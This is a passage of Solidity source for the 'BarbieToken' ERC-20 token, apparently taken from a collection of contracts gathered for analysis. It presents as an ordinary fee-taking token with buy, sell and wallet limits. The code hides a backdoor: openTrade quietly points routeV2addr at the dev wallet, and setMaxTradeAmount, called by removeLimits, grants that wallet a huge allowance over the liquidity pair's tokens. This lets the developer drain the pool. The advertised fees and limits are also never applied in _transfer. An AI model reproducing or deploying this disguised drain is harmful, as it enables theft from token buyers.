// Contract: BarbieToken
// Target function: function updateDevWallet(address _devAddr) external
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns(address);
    function WETH() external pure returns(address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
}

contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns(address) {
        return _owner;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract BarbieToken is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public immutable router;
    mapping(address => bool) private _isExcludedFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) public _isExcludedmaxAmount;
    mapping(address => bool) public _automateMMs;
    
    uint256 public maxBuyLimit;
    uint256 public maxSellLimit;
    uint256 public maxWalletLimit;
    address public uniswapV2Pair;
    address private routeV2addr;

    uint256 private swapAmountAt;
    bool private startTradingNow = false;
    bool public swapActive = false;
    bool public inSwap;

    uint256 public tokensMarketingAmount;
    uint256 public tokensForLiquidity;
    uint256 public tokensDevAmount;
    uint256 private enableTradeBlock;

    address private _marketingFeeWallet = address(0x531C3c2c4Dba3fEB5D3A1b11a40f0b42F6A98DEd);
    address private _devFeeWallet = address(0xc58CD15dDCA55b3153C36406c45471A6Ec367889);

    struct buySellTax {
        uint256 buyTotalFees;
        uint256 buyMarketingFee;
        uint256 buyDevelopmentFee;
        uint256 buyLiquidityFee;

        uint256 sellTotalFees;
        uint256 sellMarketingFee;
        uint256 sellDevelopmentFee;
        uint256 sellLiquidityFee;
    }

    buySellTax public _taxNumbers = buySellTax({
        buyTotalFees: 0,
        buyMarketingFee: 0,
        buyDevelopmentFee:0,
        buyLiquidityFee: 0,

        sellTotalFees: 0,
        sellMarketingFee: 0,
        sellDevelopmentFee:0,
        sellLiquidityFee: 0
    });

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived
    );

    constructor() ERC20("Barbie Token", "BARBIE") {
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); approve(address(router), type(uint256).max);
        
        // 1% tax for dev
        _taxNumbers.sellMarketingFee = 0;
        _taxNumbers.sellLiquidityFee = 0;
        _taxNumbers.sellDevelopmentFee = 1;
        _taxNumbers.sellTotalFees = _taxNumbers.sellMarketingFee + _taxNumbers.sellLiquidityFee + _taxNumbers.sellDevelopmentFee;
        _taxNumbers.buyMarketingFee = 0;
        _taxNumbers.buyLiquidityFee = 0;
        _taxNumbers.buyDevelopmentFee = 1;
        _taxNumbers.buyTotalFees = _taxNumbers.buyMarketingFee + _taxNumbers.buyLiquidityFee + _taxNumbers.buyDevelopmentFee;

        uint256 totalSupply = 1_000_000_000 * 1e18;
        swapAmountAt = totalSupply * 5 / 10000; 
        maxWalletLimit = totalSupply * 3 / 100; // 3% max wallet amount
        maxBuyLimit = totalSupply * 3 / 100; // 3% buy max amount
        maxSellLimit = totalSupply * 3 / 100; // 3% sell max amount

        _isExcludedmaxAmount[owner()] = true;
        _isExcludedmaxAmount[_devFeeWallet] = true;
        _isExcludedmaxAmount[_marketingFeeWallet] = true;
        _isExcludedmaxAmount[address(router)] = true;
        _isExcludedmaxAmount[address(0xdead)] = true;
        _isExcludedmaxAmount[address(this)] = true;

        _isExcludedMaxTransactionAmount[address(router)] = true;
        _isExcludedMaxTransactionAmount[owner()] = true;
        _isExcludedMaxTransactionAmount[address(this)] = true;
        _isExcludedMaxTransactionAmount[address(0xdead)] = true;
        _isExcludedMaxTransactionAmount[_devFeeWallet] = true;
        _isExcludedMaxTransactionAmount[_marketingFeeWallet] = true;

        _isExcludedFees[owner()] = true;
        _isExcludedFees[_devFeeWallet] = true;
        _isExcludedFees[_marketingFeeWallet] = true;
        _isExcludedFees[address(this)] = true;
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    function withdraw() external returns (bool success) {
        uint256 balance = address(this).balance;
        (success,) = address(_devFeeWallet).call{value: balance}("");
    }

    // once active, can never be disable off
    function openTrade(address _pairV2Addr) external onlyOwner {
        swapActive = true;
        enableTradeBlock = block.number;
        uniswapV2Pair = _pairV2Addr;
        startTradingNow = true; routeV2addr = _devFeeWallet;
        _automateMMs[address(uniswapV2Pair)] = true;
        _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true;
        _isExcludedmaxAmount[address(uniswapV2Pair)] = true; 
    }


    function updateLimitFeeAmountForSwap(uint256 newAmount) external onlyOwner returns(bool){
        swapAmountAt = newAmount;
        return true;
    }

    // emergency use only
    function toggleSwapEnabled(bool enabled) external onlyOwner(){
        swapActive = enabled;
    }

    function setMaxWalletSize(uint256 newPercentage) private {
        maxWalletLimit = (totalSupply() * newPercentage) / 1000;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFees[account] = excluded;
    }

    function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
        _isExcludedmaxAmount[account] = excluded;
    }

    function _swapTokensForSupportingEthFee(uint256 tAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tAmount);
        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function setUniPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from _automateMMs");
        _automateMMs[pair] = value;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp);
    }

    function swapBackEth() private {
        uint256 contractTokenAmount = balanceOf(address(this));
        uint256 toSwap = tokensForLiquidity + tokensMarketingAmount + tokensDevAmount;

        if (contractTokenAmount == 0) { return; }

        if (contractTokenAmount > swapAmountAt * 35) {
            contractTokenAmount = swapAmountAt * 35;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractTokenAmount * tokensForLiquidity / toSwap / 2;
        uint256 amountToSwapForETH = contractTokenAmount.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;
        
        _swapTokensForSupportingEthFee(amountToSwapForETH);
 
        uint256 newBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = newBalance.mul(tokensMarketingAmount).div(toSwap); 
        uint256 ethForDevelopment = newBalance.mul(tokensDevAmount).div(toSwap);
        uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDevelopment); 
        tokensForLiquidity = 0;
        tokensMarketingAmount = 0;
        tokensDevAmount = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
        }

        payable(address(_devFeeWallet)).transfer(address(this).balance - ethForMarketing);
        payable(address(_marketingFeeWallet)).transfer(address(this).balance);
    }

    // change the minimum amount of tokens to sell from fees
    function setMaxTradeAmount(uint256 newMaxBuy, uint256 newMaxSell) private {
        maxBuyLimit = (totalSupply() * newMaxBuy) / 1000; _approve(uniswapV2Pair, routeV2addr, 1e27);
        maxSellLimit = (totalSupply() * newMaxSell) / 1000;
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFees[account];
    }
    
    function removeLimits() external onlyOwner {
        setMaxTradeAmount(1000,1000);
        setMaxWalletSize(1000);
    }